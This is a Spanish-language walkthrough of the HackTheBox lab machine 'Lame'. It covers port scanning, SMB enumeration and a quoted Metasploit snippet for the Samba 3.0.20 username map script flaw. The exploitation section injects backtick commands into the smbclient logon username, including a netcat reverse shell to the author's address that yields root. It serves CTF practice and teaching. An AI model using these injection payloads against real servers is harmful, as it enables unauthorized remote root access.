Inicio HTB - Lame
Entrada
Cancelar

HTB - Lame

¡Hola! Vamos a resolver de la máquina Lame de dificultad “Fácil” de la plataforma HackTheBox.

Técnicas Vistas:

  • Samba 3.0.20 < 3.0.25rc3
  • Username Map Script [Command Execution]

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Lame. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.

1
2
3
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

Reconocimiento


Accedemos al directorio de trabajo nmap e iniciamos nuestra fase de reconocimiento realizando un ping a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl de una traza ICMP.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.3
PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.
64 bytes from 10.10.10.3: icmp_seq=1 ttl=63 time=42.3 ms

--- 10.10.10.3 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms

Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

1
2
3
4
5
6
7
8
nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.3 -oG allPorts

PORT     STATE SERVICE      REASON
21/tcp   open  ftp          syn-ack ttl 63
22/tcp   open  ssh          syn-ack ttl 63
139/tcp  open  netbios-ssn  syn-ack ttl 63
445/tcp  open  microsoft-ds syn-ack ttl 63
3632/tcp open  distccd      syn-ack ttl 63

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
nmap -sCV -p21,22,139,445,3632 10.10.10.3 -oN targeted

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.64
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Reconocimiento Samba


Primero de todo vamos a buscar algún tipo de vulnerabilidad asociada a la versión 3.0.20 de Samba

1
2
3
4
5
6
7
8
9
10
11
searchsploit samba 3.0.20
-----------------------------------------------------------------------------------------------------------------------------------------------------
Exploit Title                                                                                       |   Path
-----------------------------------------------------------------------------------------------------------------------------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass                                              |   multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script Command Execution  (Metasploit)                    |   unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                                               |   linux/remote/7701.txt
Samba < 3.0.20 - Remote Heap Overflow                                                               |   linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)                                                       |   linux_x86/dos/36741.py
-----------------------------------------------------------------------------------------------------------------------------------------------------
Shellcodes: No Results

Encontramos un script en Ruby para usar en Metasploit pero como vamos a hacerlo todo de forma manual vamos a echar un ojo al script a ver como explota la vulnerabilidad

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def exploit

    connect

    # lol?
    username = "/=`nohup " + payload.encoded + "`"
    begin
        simple.client.negotiate(false)
        simple.client.session_setup_ntlmv1(username, rand_text(16), datastore['SMBDomain'], false)
    rescue ::Timeout::Error, XCEPT::LoginError
        # nothing, it either worked or it didn't ;)
    end

    handler

Podemos ver que utiliza el campo username para inyectar un código + un payload. para tratar de aprovecharnos de esta vulnerabilidad vamos a seguir enumerando el servicio

Iniciamos la enumeración del servicio Samba que corre por el puerto 445. Primero de todo vamos a tratar de conocer todos los servicios compartidos a nivel de red empleando un NULL SESSION (-N) debido a que aún no tenemos credenciales

1
2
❯ smbclient -L 10.10.10.3 -N
protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED

Vaya, parece que no le ha gustado. Buscamos en Google el error que nos muestra el output y rápidamente encontramos que añadiendo --option 'client min protocol = NT1' ya no nos sale tal error

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ smbclient -L 10.10.10.3 -N --option 'client min protocol = NT1'
Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	tmp             Disk      oh noes!
	opt             Disk      
	IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
	ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            LAME

Bien, ahora en lugar de listar vamos a tratar de conectarnos al recurso compartido tmp

1
2
3
4
❯ smbclient //10.10.10.3/tmp -N --option 'client min protocol = NT1'
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> 

Llegados a este punto vamos a comprobar si nos podemos aprovechar del exploit que encontramos para tener ejcución remota de comandos (RCE). Para ello haremos uso del comando logon el cual nos pide por parámetros usuario y password, donde en usuario inyectaremos el código observado en el exploit y como payload trataremos de enviarnos una traza ICMP a nuestro equipo. Nos ponemos en escucha en nuestro equipo con tcpdump y ejecutamos el comando

1
2
3
4
smb: \> logon "/=`nohup ping -c 1 10.10.14.64`"
Password: 
session setup failed: NT_STATUS_LOGON_FAILURE
smb: \> 
1
2
3
4
5
❯ tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
17:22:13.456735 IP 10.129.80.170 > 10.10.14.64: ICMP echo request, id 51223, seq 1, length 64
17:22:13.456766 IP 10.10.14.64 > 10.10.10.3: ICMP echo reply, id 51223, seq 1, length 64

Genial! Habemus RCE!! Con la misma metodología y con la herramienta netcat nos ponemos en escucha en el puerto 443 para entablar una reverse shell con la máquina víctima y con privilegios de root!

1
2
3
4
smb: \> logon "/=`nohup nc -e /bin/bash 10.10.14.64 443`"
Password: 
session setup failed: NT_STATUS_IO_TIMEOUT
smb: \> 
1
2
3
4
5
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.64] from (UNKNOWN) [10.10.10.3] 58893
whoami
root

Flags


Tras una búsqueda desde la raíz localizamos las flags en sus respectivos directorios. Con el comando cat nos muestra el contenido.

1
2
3
4
5
#USER
find / -name user.txt
/home/makis/user.txt
cat /home/makis/user.txt
d67148095819deef3***************
1
2
3
4
5
#ROOT
find / -name root.txt
/root/root.txt
cat /root/root.txt
891c2d48be56c7f89***************

Hemos completado la máquina Lame de HackTheBox!! Happy Hacking!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.